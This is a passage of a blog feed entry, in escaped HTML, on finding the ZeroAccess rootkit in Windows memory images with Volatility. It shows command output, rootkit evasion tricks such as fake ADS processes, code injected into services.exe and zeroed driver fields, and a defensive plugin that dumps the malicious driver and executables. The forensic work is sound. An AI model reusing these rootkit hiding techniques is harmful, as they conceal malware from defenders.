/&gt;KeRegisterBugCheckReasonCallback     0xf8b7aab8 mssmbios.sys (SMBiosData)&lt;br /&gt;KeRegisterBugCheckReasonCallback     0xf8b7aa70 mssmbios.sys (SMBiosRegistry)&lt;br /&gt;KeRegisterBugCheckReasonCallback     0xf8b7aa28 mssmbios.sys (SMBiosDataACPI)&lt;br /&gt;KeRegisterBugCheckReasonCallback     0xf82e01be USBPORT.SYS (USBPORT)&lt;br /&gt;KeRegisterBugCheckReasonCallback     0xf82e011e USBPORT.SYS (USBPORT)&lt;br /&gt;KeRegisterBugCheckReasonCallback     0xf82f7522 VIDEOPRT.SYS (Videoprt)&lt;br /&gt;IoRegisterShutdownNotification       0xf88ddc74 Cdfs.SYS (\FileSystem\Cdfs)&lt;br /&gt;IoRegisterShutdownNotification       0xf8bb05be Fs_Rec.SYS (\FileSystem\Fs_Rec)&lt;br /&gt;IoRegisterShutdownNotification       0xf8303c6a VIDEOPRT.SYS (\Driver\VgaSave)&lt;br /&gt;IoRegisterShutdownNotification       0xb2d108fa vmhgfs.sys (\FileSystem\vmhgfs)&lt;br /&gt;IoRegisterShutdownNotification       0xf8bb05be Fs_Rec.SYS (\FileSystem\Fs_Rec)&lt;br /&gt;IoRegisterShutdownNotification       0xf8303c6a VIDEOPRT.SYS (\Driver\mnmdd)&lt;br /&gt;IoRegisterShutdownNotification       0xf8303c6a VIDEOPRT.SYS (\Driver\vmx_svga)&lt;br /&gt;IoRegisterShutdownNotification       0xf8303c6a VIDEOPRT.SYS (\Driver\RDPCDD)&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;IoRegisterShutdownNotification       0xb20b49d0 &lt;/span&gt;&lt;br /&gt;IoRegisterShutdownNotification       0xf86aa73a MountMgr.sys (\Driver\MountMgr)&lt;br /&gt;IoRegisterShutdownNotification       0xf8bb05be Fs_Rec.SYS (\FileSystem\Fs_Rec)&lt;/span&gt;&lt;/pre&gt;Next we'll try and locate ZeroAccess in user mode based on Frank's findings. At first I didn't understand what "Fake Usermode ADS" meant, but when I used the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#pslist"&gt;pslist&lt;/a&gt; and &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#dlllist"&gt;dlllist&lt;/a&gt; commands it all started to make sense. The image name from pslist comes from EPROCESS.ImageFileName (in kernel memory) and the info from dlllist comes from the PEB (in user memory). In normal cases, output from the two plugins will match, but in this case you can see the discrepancy:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f zeroaccess1.vmem pslist&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;Offset(V)  Name                 PID    PPID   Thds   Hnds   Time&lt;br /&gt;---------- -------------------- ------ ------ ------ ------ -------------------&lt;br /&gt;0x823c8830 System                    4      0     57    398 1970-01-01 00:00:00&lt;br /&gt;0x820df020 smss.exe                376      4      3     19 2010-10-29 17:08:53&lt;br /&gt;0x821a2da0 csrss.exe               600    376     11    342 2010-10-29 17:08:54&lt;br /&gt;[snip]&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x820d4b28 3418651033             1148    668      1      5 2011-10-13 14:26:18  &lt;/span&gt;&lt;br /&gt;0x81c6ada0 cmd.exe                1244   1664      0 ------ 2011-10-13 14:37:07&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f  zeroaccess1.vmem dlllist -p 1148&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;************************************************************************&lt;br /&gt;3418651033 pid:   1148&lt;br /&gt;Command line : &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;3418651033:1720073012.exe&lt;/span&gt;&lt;br /&gt;Service Pack 3&lt;br /&gt;&lt;br /&gt;Base         Size         Path&lt;br /&gt;0x00400000   0x000330     &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;C:\WINDOWS\3418651033:1720073012.exe&lt;/span&gt;&lt;br /&gt;0x7c900000   0x0af000     C:\WINDOWS\system32\ntdll.dll&lt;br /&gt;0x7c800000   0x0f6000     C:\WINDOWS\system32\kernel32.dll&lt;/span&gt;&lt;/pre&gt;Kernel memory says the image name is 3418651033 but user memory says its 3418651033:1720073012.exe. Either way, you can dump it with &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#procexedump"&gt;procexedump&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f  zeroaccess1.vmem procexedump -p 1148 -D zeroaccess/&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;************************************************************************&lt;br /&gt;Dumping 3418651033, pid:   1148 output: executable.1148.exe&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;strings zeroaccess/executable.1148.exe&lt;/span&gt;&lt;br /&gt;!This program cannot be run in DOS mode.&lt;br /&gt;Rich&lt;br /&gt;.text&lt;br /&gt;PPPTh&lt;br /&gt;ZwCreateFile&lt;br /&gt;ZwTestAlert&lt;br /&gt;ntdll.dll&lt;br /&gt;ExitProcess&lt;br /&gt;KERNEL32.dll&lt;/span&gt;&lt;/pre&gt;If you recall the embedded PE strings we viewed from the extracted kernel driver, you'll recognize that this is one of them. One down, one to go. How can we locate the other one - with our only bit of knowledge being that we expect it to be somewhere in user mode memory? How about &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#malfind"&gt;malfind&lt;/a&gt;?&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$&lt;span style="font-weight: bold;"&gt; python vol.py -f zeroaccess1.vmem malfind -D zeroaccess/&lt;/span&gt;&lt;br /&gt;Process: services.exe Pid 668&lt;br /&gt;VAD: 0x950000-0x954fff Vad  PAGE_EXECUTE_READWRITE&lt;br /&gt;0x00950000  4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00   MZ..............&lt;br /&gt;0x00950010  b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00   ........@.......&lt;br /&gt;0x00950020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................&lt;br /&gt;0x00950030  00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00   ................&lt;br /&gt;0x00950040  0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68   ........!..L.!Th&lt;br /&gt;0x00950050  69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f   is.program.canno&lt;br /&gt;0x00950060  74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20   t.be.run.in.DOS.&lt;br /&gt;0x00950070  6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00   mode....$.......&lt;br /&gt;Dumped to services.exe.82073020.950000.954fff.dmp&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;strings zeroaccess/services.exe.82073020.950000.954fff.dmp&lt;/span&gt;&lt;br /&gt;!This program cannot be run in DOS mode.&lt;br /&gt;Rich&lt;br /&gt;.text&lt;br /&gt;`.rdata&lt;br /&gt;@.data&lt;br /&gt;&lt;br /&gt;ZwCreateFile&lt;br /&gt;ZwTestAlert&lt;br /&gt;ntdll.dll&lt;br /&gt;ExitProcess&lt;br /&gt;KERNEL32.dll&lt;br /&gt;1234567890123456789012345678901234567890123456789012345678901234&lt;br /&gt;RtlImageDirectoryEntryToData&lt;br /&gt;RtlAddressInSectionTable&lt;br /&gt;RtlImageNtHeader&lt;br /&gt;ZwOpenFile&lt;/span&gt;&lt;/pre&gt;Bingo! There's the other embedded PE that the kernel driver must inject into services.exe.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Building a Custom ZeroAccess Volatility Plugin &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I'm sure many readers are wondering, how hard is it to automate the actions that we've done. Well, you're in luck...its not too difficult at all. In fact, I've written a sample plugin to assist with your understanding of the Volatility API. Let's get started. First define a class with the name of your plugin. Mine will be "ZeroAccess" and it will inherit from DriverScan (since we want to scan for DRIVER_OBJECTs) and ProcExeDump (since we want to rebuild/dump PE files).&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;class ZeroAccess(filescan.DriverScan, procdump.ProcExeDump):&lt;br /&gt; """Dump the ZeroAccess Driver and Files"""&lt;br /&gt;&lt;br /&gt; def __init__(self, config, *args):&lt;br /&gt;     # remove all of procdump's options except DUMP_DIR&lt;br /&gt;     procdump.ProcExeDump.__init__(self, config, *args)&lt;br /&gt;     config.remove_option("UNSAFE")&lt;br /&gt;     config.remove_option("PID")&lt;br /&gt;     config.remove_option("OFFSET")&lt;/span&gt;&lt;/pre&gt;Then we add a function to the class that can handle the rebuilding of PE files - most of which was taken from the dlldump source code.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;    def dump_pe(self, space, start, file_name):&lt;br /&gt;     """Dump a PE file to disk"""&lt;br /&gt;&lt;br /&gt;     if not self._config.DUMP_DIR:&lt;br /&gt;         return&lt;br /&gt;&lt;br /&gt;     full_path = os.path.join(self._config.DUMP_DIR, file_name)&lt;br /&gt;     sys.stdout.write("Dumping PE:    {0}\n".format(full_path))&lt;br /&gt;     of = open(full_path, 'wb')&lt;br /&gt;&lt;br /&gt;     try:&lt;br /&gt;         for chunk in self.get_image(sys.stdout, space, start):&lt;br /&gt;             offset, code = chunk&lt;br /&gt;             of.seek(offset)&lt;br /&gt;             of.write(code)&lt;br /&gt;     except ValueError:&lt;br /&gt;         pass&lt;br /&gt;&lt;br /&gt;     of.close()&lt;/span&gt;&lt;/pre&gt;Most of the heavy lifting will be done in the calculate function. I won't describe each step individually like I did in the &lt;a href="http://mnin.blogspot.com/2011/09/abstract-memory-analysis-zeus.html"&gt;Abstract Memory Analysis: Zeus Encryption Keys&lt;/a&gt; post, because its already pretty well commented and we described all the steps above.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;    def calculate(self):&lt;br /&gt;&lt;br /&gt;     space = utils.load_as(self._config)&lt;br /&gt;&lt;br /&gt;     # enumerate system threads (0x00000010 = PS_CROSS_THREAD_FLAGS_SYSTEM)&lt;br /&gt;     system_threads = [t for t in modscan.ThrdScan(self._config).calculate() if t.CrossThreadFlags &amp;amp; 0x00000010]&lt;br /&gt;&lt;br /&gt;     # find and dump the malicious kernel driver&lt;br /&gt;     for item in filescan.DriverScan(self._config).calculate():&lt;br /&gt;  &lt;br /&gt;         # unpack the parameters&lt;br /&gt;         (object, driver, extension, object_name) = item&lt;br /&gt;      &lt;br /&gt;         # looking for unnamed driver objects&lt;br /&gt;         if driver.DriverName.Length != 0:&lt;br /&gt;             continue&lt;br /&gt;&lt;br /&gt;         # the first and only device should be ACPI#PNP[...]&lt;br /&gt;         device = obj.Object("_DEVICE_OBJECT",&lt;br /&gt;             offset = driver.DeviceObject, vm = space)&lt;br /&gt;&lt;br /&gt;         # get the device's object header&lt;br /&gt;         object = obj.Object("_OBJECT_HEADER", \&lt;br /&gt;             offset = device.obj_offset - \&lt;br /&gt;             device.obj_vm.profile.get_obj_offset("_OBJECT_HEADER", "Body"), \&lt;br /&gt;             vm = space)&lt;br /&gt;&lt;br /&gt;         object.kas = space&lt;br /&gt;         device_name = object.get_object_name()&lt;br /&gt;&lt;br /&gt;         # did we find zeroaccess?&lt;br /&gt;         if not str(device_name).startswith("ACPI#PNP"):&lt;br /&gt;             continue&lt;br /&gt;&lt;br /&gt;         sys.stdout.write("DriverObject:  {0:#x}\n".format(device.DriverObject))&lt;br /&gt;         sys.stdout.write("  DriverStart: {0:#x}\n".format(driver.DriverStart))&lt;br /&gt;         sys.stdout.write("  DriverSize:  {0:#x}\n".format(driver.DriverSize))&lt;br /&gt;         sys.stdout.write("DeviceObject:  {0:#x} {1}\n".format(device.obj_offset, device_name))&lt;br /&gt;&lt;br /&gt;         # dump the driver&lt;br /&gt;         file_name = "Driver.{0:#x}.sys".format(driver.DriverStart)&lt;br /&gt;         self.dump_pe(space, driver.DriverStart, file_name)&lt;br /&gt;&lt;br /&gt;         # now what we know the memory range, look for bad threads&lt;br /&gt;         for thread in system_threads:&lt;br /&gt;&lt;br /&gt;             if thread.StartAddress &amp;gt; driver.DriverStart and \&lt;br /&gt;                     thread.StartAddress &amp;lt; driver.DriverStart + driver.DriverSize:&lt;br /&gt;&lt;br /&gt;                 sys.stdout.write("Bad Thread:    {0:#x} Tid {1}\n".format(\&lt;br /&gt;                     thread.obj_offset,&lt;br /&gt;                     thread.Cid.UniqueThread))&lt;br /&gt;&lt;br /&gt;     # now find and dump the fake usermode ADS process&lt;br /&gt;     for proc in tasks.pslist(space):&lt;br /&gt;&lt;br /&gt;         for dll in proc.Peb.Ldr.InLoadOrderModuleList.list_of_type(\&lt;br /&gt;             "_LDR_DATA_TABLE_ENTRY", "InLoadOrderLinks"):&lt;br /&gt;&lt;br /&gt;             # look for the ADS name&lt;br /&gt;             if str(dll.BaseDllName).find(":") != -1:&lt;br /&gt;&lt;br /&gt;                 sys.stdout.write("Fake ADS EXE:  {0} pid {1} base {2:#x}\n".format(\&lt;br /&gt;                     proc.ImageFileName,&lt;br /&gt;                     proc.UniqueProcessId,&lt;br /&gt;                     dll.DllBase))&lt;br /&gt;&lt;br /&gt;                 file_name = "Dll.{0:#x}.{1:#x}.dll".format(proc.obj_offset, dll.DllBase)&lt;br /&gt;                 self.dump_pe(proc.get_process_address_space(), dll.DllBase, file_name)&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Testing the ZeroAccess Volatility Plugin &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here is some example output from our new plugin:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f  zeroaccess1.vmem zeroaccess -D zeroaccess/&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;DriverObject:  0x820e3880&lt;br /&gt;DriverStart: 0xb20ae000&lt;br /&gt;DriverSize:  0x1f000&lt;br /&gt;DeviceObject:  0x81f3ee48 ACPI#PNP0303#2&amp;amp;da1a3ff&amp;amp;0&lt;br /&gt;Dumping PE:    zeroaccess/Driver.0xb20ae000.sys&lt;br /&gt;Bad Thread:    0x1e6b4a0 Tid 908&lt;br /&gt;Fake ADS EXE:  3418651033 pid 1148 base 0x400000&lt;br /&gt;Dumping PE:    zeroaccess/Dll.0x820d4b28.0x400000.dll&lt;br /&gt;&lt;br /&gt;$ &lt;span style="font-weight: bold;"&gt;ls zeroaccess/&lt;/span&gt;&lt;br /&gt;Dll.0x820d4b28.0x400000.dll    Driver.0xb20ae000.sys&lt;/span&gt;&lt;/pre&gt;That's it folks! In just a small Python script, we identified the malicious DRIVER_OBJECT, the malicious DEVICE_OBJECT, the Fake Usermode ADS, the "stealth" ETHREAD, and extracted a few of the PE files. Now grab IDA Pro and enjoy reversing the unpacked binaries.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;The Second Sample: 505b071b3eead7ded32a766c98efb6ef&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Realizing that there are thousands of ZeroAccess variants floating around, I wanted to try and duplicate the findings on at least one other sample. Here's the output of our new plugin on the next sample we tried:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f  zeroaccess2.vmem zeroaccess -D zeroaccess/&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;DriverObject:  0x81f523f0&lt;br /&gt;DriverStart: 0xb2158000&lt;br /&gt;DriverSize:  0xd000&lt;br /&gt;DeviceObject:  0x81fc2370 ACPI#PNP0303#2&amp;amp;da1a3ff&amp;amp;0&lt;br /&gt;Dumping PE:    zeroaccess/Driver.0xb2158000.sys&lt;/span&gt;&lt;/pre&gt;As you can see, a few of the artifacts were found and extracted, but not all of them. It turns out this sample is quite different than the first. For one, it doesn't use the Fake Usermode ADS. Instead, you can spot the malicious process because its mapped from a suspicious namespace:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f zeroaccess2.vmem dlllist -p 1136&lt;/span&gt;&lt;br /&gt;************************************************************************&lt;br /&gt;svchost.exe pid:   1136&lt;br /&gt;Command line : "&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;\\.\globalroot\Device\svchost.exe\svchost.exe&lt;/span&gt;"&lt;br /&gt;Service Pack 3&lt;br /&gt;&lt;br /&gt;Base         Size         Path&lt;br /&gt;0x00400000   0x0002d0     &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;\\.\globalroot\Device\svchost.exe\svchost.exe&lt;/span&gt;&lt;br /&gt;0x7c900000   0x0af000     C:\WINDOWS\system32\ntdll.dll&lt;br /&gt;0x7c800000   0x0f6000     C:\WINDOWS\system32\kernel32.dll&lt;/span&gt;&lt;/pre&gt;What is \\.\globalroot\Device\svchost.exe? Surely that device doesn't exist on a clean system. Let's check with devicetree again and see if anything looks different than the first ZeroAccess sample:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f zeroaccess2.vmem devicetree&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;DRV 0x01e109b8 '\\Driver\\03621276'&lt;br /&gt;---| DEV 0x820ec030 svchost.exe FILE_DEVICE_DISK&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;DRV 0x01df6718 '\\Driver\\kmixer'&lt;br /&gt;---| DEV 0x825347d0 (unnamed) FILE_DEVICE_KS&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;DRV 0x0214f4c8 '\\Driver\\03621275'&lt;br /&gt;---| DEV 0x81fe8030 (unnamed) FILE_DEVICE_ACPI&lt;br /&gt;DRV 0x021523f0&lt;br /&gt;---| DEV 0x81fc2370 ACPI#PNP0303#2&amp;amp;da1a3ff&amp;amp;0 FILE_DEVICE_UNKNOWN&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;I've highlighted almost all of the output in red, because...well, almost all if it is malicious. This variant of ZeroAccess creates 3 DRIVER_OBJECTs and 3 DEVICE_OBJECTs. The patterns can be expressed as the following:&lt;br /&gt;&lt;br /&gt;1) a DRIVER_OBJECT with all numbers in the name (03621276) with a DEVICE_OBJECT named svchost.exe and type FILE_DEVICE_DISK&lt;br /&gt;&lt;br /&gt;2) a DRIVER_OBJECT with all numbers in the name (03621275) with an unnamed DEVICE_OBJECT and type FILE_DEVICE_ACPI&lt;br /&gt;&lt;br /&gt;3) an unnamed DRIVER_OBJECT with DEVICE_OBJECT named ACPI#PNP[...] (this is the one we already explored)&lt;br /&gt;&lt;br /&gt;Modifying our new plugin to handle these additional cases is trivial, thus I'll leave it as an exercise to the reader. However, the one thing you may run into is that the DriverStart and DriverSize for the first two DRIVER_OBJECTs has been zeroed out:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f zeroaccess2.vmem volshell&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;Current context: process System, pid=4, ppid=0 DTB=0x319000&lt;br /&gt;To get help, type 'hh()'&lt;br /&gt;&lt;br /&gt;In [1]: &lt;span style="font-weight: bold;"&gt;dt("_DEVICE_OBJECT", 0x820ec030)&lt;/span&gt;&lt;br /&gt;[CType _DEVICE_OBJECT] @ 0x820EC030&lt;br /&gt;0x0   : Type                           3&lt;br /&gt;0x2   : Size                           184&lt;br /&gt;0x4   : ReferenceCount                 2&lt;br /&gt;0x8   : DriverObject                   2176911800&lt;br /&gt;&lt;br /&gt;In [2]: &lt;span style="font-weight: bold;"&gt;dt("_DRIVER_OBJECT", 2176911800)&lt;/span&gt;&lt;br /&gt;[CType _DRIVER_OBJECT] @ 0x81C109B8&lt;br /&gt;0x0   : Type                           4&lt;br /&gt;0x2   : Size                           168&lt;br /&gt;0x4   : DeviceObject                   2182004784&lt;br /&gt;0x8   : Flags                          4&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0xc   : DriverStart                    0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x10  : DriverSize                     0&lt;/span&gt;&lt;br /&gt;0x14  : DriverSection                  0&lt;br /&gt;0x18  : DriverExtension                2176911968&lt;br /&gt;0x1c  : DriverName                     \Driver\03621276&lt;br /&gt;0x24  : HardwareDatabase               0&lt;br /&gt;0x28  : FastIoDispatch                 0&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x2c  : DriverInit                     2176398992&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In [3]: &lt;span style="font-weight: bold;"&gt;hex(2176398992)&lt;/span&gt;&lt;br /&gt;Out[3]: '0x81b93690'&lt;/span&gt;&lt;/pre&gt;So although the DriverStart and DriverSize members are zero, making it difficult to dump the driver's code, we can still get a hint of where the code exists because the DriverInit value is not zero. We're looking around kernel addresses 0x81b93690. Cross reference that with orphan threads:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f  zeroaccess2.vmem threads -F OrphanThread&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;------&lt;br /&gt;ETHREAD: 0x81fa4bc8 Pid: 4 Tid: 416&lt;br /&gt;Tags: OrphanThread,SystemThread&lt;br /&gt;Created: 2011-10-13 04:29:10&lt;br /&gt;Exited: -&lt;br /&gt;Owning Process: 0x823c8830 'System'&lt;br /&gt;Attached Process: 0x823c8830 'System'&lt;br /&gt;State: Waiting:DelayExecution&lt;br /&gt;BasePriority: 0x8&lt;br /&gt;Priority: 0x8&lt;br /&gt;TEB: 0x00000000&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;StartAddress: 0x81b9a505&lt;/span&gt;&lt;br /&gt;ServiceTable: 0x80552fa0&lt;br /&gt;[0] 0x80501b8c&lt;br /&gt;[1] -&lt;br /&gt;[2] -&lt;br /&gt;[3] -&lt;br /&gt;Win32Thread: 0x00000000&lt;br /&gt;CrossThreadFlags: PS_CROSS_THREAD_FLAGS_SYSTEM&lt;br /&gt;81b9a505: 58                               POP EAX&lt;br /&gt;81b9a506: 870424                           XCHG [ESP], EAX&lt;br /&gt;81b9a509: ffd0                             CALL EAX&lt;br /&gt;81b9a50b: 8b0d8cf7b981                     MOV ECX, [0x81b9f78c]&lt;br /&gt;81b9a511: ff25a4cdb981                     JMP DWORD [0x81b9cda4]&lt;br /&gt;81b9a517: 64a118000000                     MOV EAX, [FS:0x18]&lt;/span&gt;&lt;/pre&gt;The last thing I wanted to point out is the callbacks output. This version of ZeroAccess not only installs the IoRegisterShutdownNotification, but also a CmRegisterCallback - for monitoring or preventing access to certain registry keys.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f  zeroaccess2.vmem callbacks&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;Type                                 Callback   Owner&lt;br /&gt;PsSetCreateProcessNotifyRoutine      0xf87ad194 vmci.sys&lt;br /&gt;KeBugCheckCallbackListHead           0xf83e65ef NDIS.sys (Ndis miniport)&lt;br /&gt;KeBugCheckCallbackListHead           0x806d77cc hal.dll (ACPI 1.0 - APIC platform UP)&lt;br /&gt;KeRegisterBugCheckReasonCallback     0xf8b7aab8 mssmbios.sys (SMBiosData)&lt;br /&gt;KeRegisterBugCheckReasonCallback     0xf8b7aa70 mssmbios.sys (SMBiosRegistry)&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;IoRegisterShutdownNotification       0x81b934e0 UNKNOWN (\Driver\03621276)&lt;/span&gt;&lt;br /&gt;[snip]&lt;br /&gt;IoRegisterShutdownNotification       0xf8bb05be Fs_Rec.SYS (\FileSystem\Fs_Rec)&lt;br /&gt;IoRegisterShutdownNotification       0xf853c2be ftdisk.sys (\Driver\Ftdisk)&lt;br /&gt;IoRegisterShutdownNotification       0x805cdef4 ntoskrnl.exe (\FileSystem\RAW)&lt;br /&gt;IoRegisterShutdownNotification       0xf83d98f1 Mup.sys (\FileSystem\Mup)&lt;br /&gt;IoRegisterShutdownNotification       0x805f5d66 ntoskrnl.exe (\Driver\WMIxWDM)&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;CmRegisterCallback                   0x81b92d60 UNKNOWN (--)&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;ZeroAccess Rogue Kernel Timers&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In early January 2011, when Frank Boldewin and I were working on finding artifacts of Rustock.B and Rustuck.C in memory, he suggested that a plugin for analyzing kernel timers be added to Volatility. I drafted up a copy and then forgot about it until he reminded me this week, and guess what - just in time to be useful. I will go into depth on kernel timers next Volatility Friday, but for now you can see yet another strong factor in memory that indicates something suspicious is going on.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f zeroaccess2.vmem timers&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;Offset       DueTime              Period(ms) Signaled   Routine      Module&lt;br /&gt;0x805598e0   0x00000084:0xce8b961c 1000       Yes        0x80523dee   ntoskrnl.exe&lt;br /&gt;0x820a1e08   0x00000084:0xdf3c0c1c 30000      Yes        0xb2d2a385   afd.sys&lt;br /&gt;0x81ebf0b8   0x00000084:0xce951f84 0          -          0xf89c23f0   TDI.SYS&lt;br /&gt;0x8055b200   0x00000086:0x1c631c38 0          -          0x80534a2a   ntoskrnl.exe&lt;br /&gt;0xf842f270   0x00000084:0xd0fea092 0          -          0xf84111b4   Ntfs.sys&lt;br /&gt;0xb27f3990   0x00000084:0xd36a83fa 0          -          0xb27e4385   srv.sys&lt;br /&gt;0x805516d0   0x00000084:0xda9d7dbc 60000      Yes        0x804f3eae   ntoskrnl.exe&lt;br /&gt;0x80550ce0   0x00000084:0xd11d9f24 0          -          0x8053b8fc   ntoskrnl.exe&lt;br /&gt;0x80551800   0x00000084:0xcebda77e 1000       Yes        0x804f3716   ntoskrnl.exe&lt;br /&gt;0x82255720   0x80000084:0xb14adbda 0          -          0x80534e48   ntoskrnl.exe&lt;br /&gt;[snip]&lt;br /&gt;0x81dbeb78   0x00000131:0x2e896402 0          -          0xf83faf6f   NDIS.sys&lt;br /&gt;0x81e8b4f0   0x00000131:0x2e896402 0          -          0xf83faf6f   NDIS.sys&lt;br /&gt;0x81eb8e28   0x00000084:0xe5855f6a 0          -          0x80534e48   ntoskrnl.exe&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0xb20bbbb0   0x00000084:0xd4de72d2 60000      Yes        0xb20b5990   UNKNOWN&lt;/span&gt;&lt;br /&gt;0x8210d910   0x80000000:0x0a7efa36 0          -          0x80534e48   ntoskrnl.exe&lt;br /&gt;0x82274190   0x80000000:0x711befba 0          -          0x80534e48   ntoskrnl.exe&lt;br /&gt;0x81de9690   0x80000000:0x0d0c3e8a 0          -          0x80534e48   ntoskrnl.exe&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Conclusion and Source Code&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Thanks again to Frank, Guiseppe, and Marco for sharing the results of their analysis and ultimately making this blog post possible (without doing my own RE).&lt;br /&gt;&lt;br /&gt;Download the ZeroAccess Volatility Plugin &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/zeroaccess/zeroaccess.py"&gt;here&lt;/a&gt;. Play with it, learn from it, enoy it!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-3591177040619503493?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/3591177040619503493/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=3591177040619503493' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/3591177040619503493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/3591177040619503493'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2011/10/zeroaccess-volatility-and-kernel-timers.html' title='ZeroAccess, Volatility, and Kernel Timers'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 